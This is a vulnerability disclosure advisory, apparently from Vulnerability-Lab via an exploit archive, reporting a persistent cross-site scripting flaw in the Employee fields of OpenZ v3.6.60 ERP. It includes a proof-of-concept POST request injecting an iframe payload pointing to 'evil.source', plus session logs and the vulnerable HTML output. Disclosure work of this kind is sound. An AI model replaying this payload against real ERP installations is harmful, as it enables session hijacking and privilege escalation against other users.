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## https://sploitus.com/exploit?id=PACKETSTORM:157596
Document Title:  
===============  
OpenZ v3.6.60 ERP - Employee Persistent XSS Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2234  
  
  
Release Date:  
=============  
2020-05-06  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2234  
  
  
Common Vulnerability Scoring System:  
====================================  
4.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
OpenZ is a completely web-based enterprise resource planning system, or  
ERP system for short, which was voted ERP System  
of the Year in the Open Source category in 2014. The software offers a  
completely scalable, dynamically adaptable  
and easy-to-use range of functions and modules. OpenZ can be used to  
control all business processes such as master data  
maintenance, quotation, order and invoice creation, financial  
accounting, controlling, project management, individual  
and/or serial production with batch and serial number tracking. Complex  
e-commerce requirements, material requirements  
planning, supply chain optimization, as well as your own and special  
processes for your company can be controlled within one  
software - from anywhere in the world - independent of platform.  
  
(Copy of the Homepage: https://www.openz.de/ &  
https://www.openz.de/download.html )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent  
cross site vulnerability in the OpenZ v3.6.60 ERP web-application.  
  
  
Affected Product(s):  
====================  
OpenZ  
Product: OpenZ v3.6.60 - ERP (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-05-06: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting web vulnerability has been discovered  
in the official OpenZ v3.6.60 ERP web-application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to compromise  
browser to web-application requests from the application-side.  
  
The persistent vulnerability is located in the `inpname` and  
`inpdescripción` parameters of the `Employee` add/register/edit  
module in the `menu.html` file. Remote attackers with low privileges are  
able to inject own malicious persistent script code as  
name or description. The injected code can be used to attack the  
frontend or backend of the web-application. The request method  
to inject is POST and the attack vector is located on the  
application-side. The attack can be triggered from low privilege user  
accounts against higher privilege user accounts like manager or  
administrators to elevate privileges via session hijacking.  
  
Successful exploitation of the vulnerabilities results in session  
hijacking, persistent phishing attacks, persistent external  
redirects to malicious source and persistent manipulation of affected  
application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Employee  
  
Vulnerable Input(s):  
[+] Mitarbeiter Name  
[+] Beschreibung  
  
Vulnerable File(s):  
[+] Menu.html  
  
Vulnerable Parameter(s):  
[+] inpname  
[+] inpdescription  
  
  
Proof of Concept (PoC):  
=======================  
The persistent web vulnerability can be exploited by low privileged web  
application user account with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open the openz web-application  
2. Register, add or edit via profile settings the inpname &  
inpdescription parameter inputs  
3. Edit inpname & inpdescription parameter of the profile and save the entry  
Note: The execute occurs on preview of the user credentials in the  
/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html  
4. Successful reproduce of the persistent web vulnerability!  
  
  
  
--- POC Session Logs [POST] --- (Inject via Add / Edit)  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html  
Host: localhost:8080  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 1464  
Origin: https://localhost:8080  
Connection: keep-alive  
Referer:  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html  
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;  
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275  
Command=SAVE_EDIT_RELATION&inpLastFieldChanged=inpdescription&inpkeyColumnIdInp=&inpParentKeyColumn=&inpDirectKey=&  
inpKeyReferenceColumnName=&inpTableReferenceId=&inpKeyReferenceId=&autosave=N&inpnewdatasetindicator=&inpnewdataseIdVal=&  
inpenabledautosave=Y&inpisemployee=Y&inpistaxexempt=N&inpadClientId=C726FEC915A54A0995C568555DA5BB3C&inpaAssetId=&  
inpcGreetingId=&inpcBpartnerId=8BEB3E9FD5D24F9BBCF777A51D53F5AF&inpissummary=N&inprating=N&inpTableId=AC9B98C649CD4F55B37714008EE8519F&  
inpkeyColumnId=C_BPartner_ID&inpKeyName=inpcBpartnerId&mappingName=/org.openbravo.zsoft.smartui.Employee/  
EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html&inpwindowId=39D3CD9F77A942D690965D49106F011B&  
inpTabId=A3D0B320B69845B386024B5FF6B1E266&inpCommandType=EDIT&updatedTimestamp=20200426170335&inpParentOrganization=&  
inpadOrgId=1AF9E07685234E0A9FEC1D9B58A4876B&inpadImageId=&  
inpvalue=325235&inpname=>"><iframe  
src=evil.source><iframe></iframe></iframe>&  
inpdescription=>"><iframe  
src=evil.source><iframe></iframe></iframe>&inpimageurl=31337&  
inpisactive=Y&inpisinresourceplan=Y&inpapprovalamt=0,00&inpcSalaryCategoryId=&inptaxid=&inpreferenceno=&  
inpcBpGroupId=42691AE1D13F400AB814B70361E167C3&inpadLanguage=de_DE&inpcountry=Deutschland&inpzipcode=&  
inpcity=&inpcreated=26-04-2020  
17:03:35&inpcreatedby=Service&inpupdated=26-04-2020  
17:03:35&inpupdatedby=Service  
-  
POST: HTTP/1.1 302 Found  
Server: Apache/2.4.38 (Debian)  
Location:  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html?Command=RELATION  
Content-Length: 0  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
- (Execution in Listing)  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/evil.source  
Host: myerponline.de  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Connection: keep-alive  
Referer:  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html  
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;  
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275  
-  
GET: HTTP/1.1 200 OK  
Server: Apache/2.4.38 (Debian)  
Content-Type: text/html;charset=utf-8  
Content-Language: en  
Content-Length: 1110  
Keep-Alive: timeout=5, max=97  
Connection: Keep-Alive  
  
  
PoC: Vulnerable Source (/security/Menu.html)  
<table width="0px" height="0px" cellspacing="0" cellpadding="0">  
<tbody><tr>  
<td><input type="text" class="DataGrid_Table_Dummy_Input"  
id="grid_table_dummy_input"></td>  
</tr>  
</tbody></table>  
<input type="hidden" name="inpcBpartnerId"  
value="8BEB3E9FD5D24F9BBCF777A51D53F5AF" id="keyParent">  
<div class="RelationInfoContainer">  
<table class="RelationInfo">  
<tbody><tr>  
<td class="RelationInfoTitle" id="related_info_cont">Business Partner:</td>  
<td class="RelationInfoContent" id="paramParentC_BPartner_ID">325235 -  
>"><iframe src="a"></TD>  
</TR>  
  
  
Reference(s):  
https://localhost:8080/  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/  
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/Employee  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
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=========================  
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